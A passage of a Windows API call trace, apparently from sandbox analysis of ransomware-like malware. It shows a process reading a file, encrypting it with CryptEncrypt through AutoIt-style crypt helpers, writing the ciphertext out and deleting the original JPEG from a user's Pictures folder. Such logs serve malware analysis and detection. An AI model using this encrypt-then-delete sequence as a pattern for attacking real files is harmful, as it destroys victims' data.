[0062.658] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.660] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0062.660] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0062.662] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x3abf, lpOverlapped=0x0) returned 1 [0062.663] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0062.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.666] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.667] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0062.667] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.667] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.667] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0062.667] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.667] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0062.668] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.668] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.668] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.668] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0062.668] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0062.668] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0062.668] CryptGetKeyParam (in: hKey=0x164c670, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0062.668] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.668] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.669] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.669] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.669] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.669] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.669] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.669] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.669] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.669] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.669] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.669] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.670] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.670] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.670] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.671] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621750, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.671] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.671] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x13abf, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x13ac0) returned 1 [0062.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.671] CharLowerBuffW (in: lpsz="byte[80577]", cchLength=0xb | out: lpsz="byte[80577]") returned 0xb [0062.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.673] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.673] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.674] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.674] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.674] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1894598*, pdwDataLen=0x130e618*=0x13abf, dwBufLen=0x13ac0 | out: pbData=0x1894598*, pdwDataLen=0x130e618*=0x13ac0) returned 1 [0062.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.674] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.675] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.675] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.675] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.675] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.675] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.675] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.675] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.675] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.675] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.675] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.675] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.681] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.681] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.681] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.681] WriteFile (in: hFile=0x3bc, lpBuffer=0x186d008*, nNumberOfBytesToWrite=0x13ac0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesWritten=0x130f01c*=0x13ac0, lpOverlapped=0x0) returned 1 [0062.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.683] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0062.683] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.683] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.683] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0062.683] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0062.683] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0062.684] CryptDestroyKey (hKey=0x164c670) returned 1 [0062.684] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.684] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.684] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.684] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.684] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.684] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.684] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0062.684] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.684] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.684] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0062.684] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.684] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0062.684] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.684] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0062.684] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.684] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0062.684] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.684] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0062.685] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.685] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.685] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.685] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.685] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.685] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.685] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.685] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.685] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.685] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.685] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0062.685] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0062.685] CryptReleaseContext (hProv=0x17aa3c8, dwFlags=0x0) returned 1 [0062.685] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.685] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.686] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0062.686] FreeLibrary (hLibModule=0x74c60000) returned 1 [0062.686] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.686] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.686] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.686] CloseHandle (hObject=0x2ac) returned 1 [0062.688] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.688] CloseHandle (hObject=0x3bc) returned 1 [0062.690] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.691] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", lpFilePart=0x0) returned 0x4d [0062.692] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\rj2wj4kfgpb1uis.jpg")) returned 0x20 [0062.692] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0062.692] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\rj2WJ4kFGpb1UIs.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\rj2wj4kfgpb1uis.jpg")) returned 1 [0062.726] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0062.726] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0062.726] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.726] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.726] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 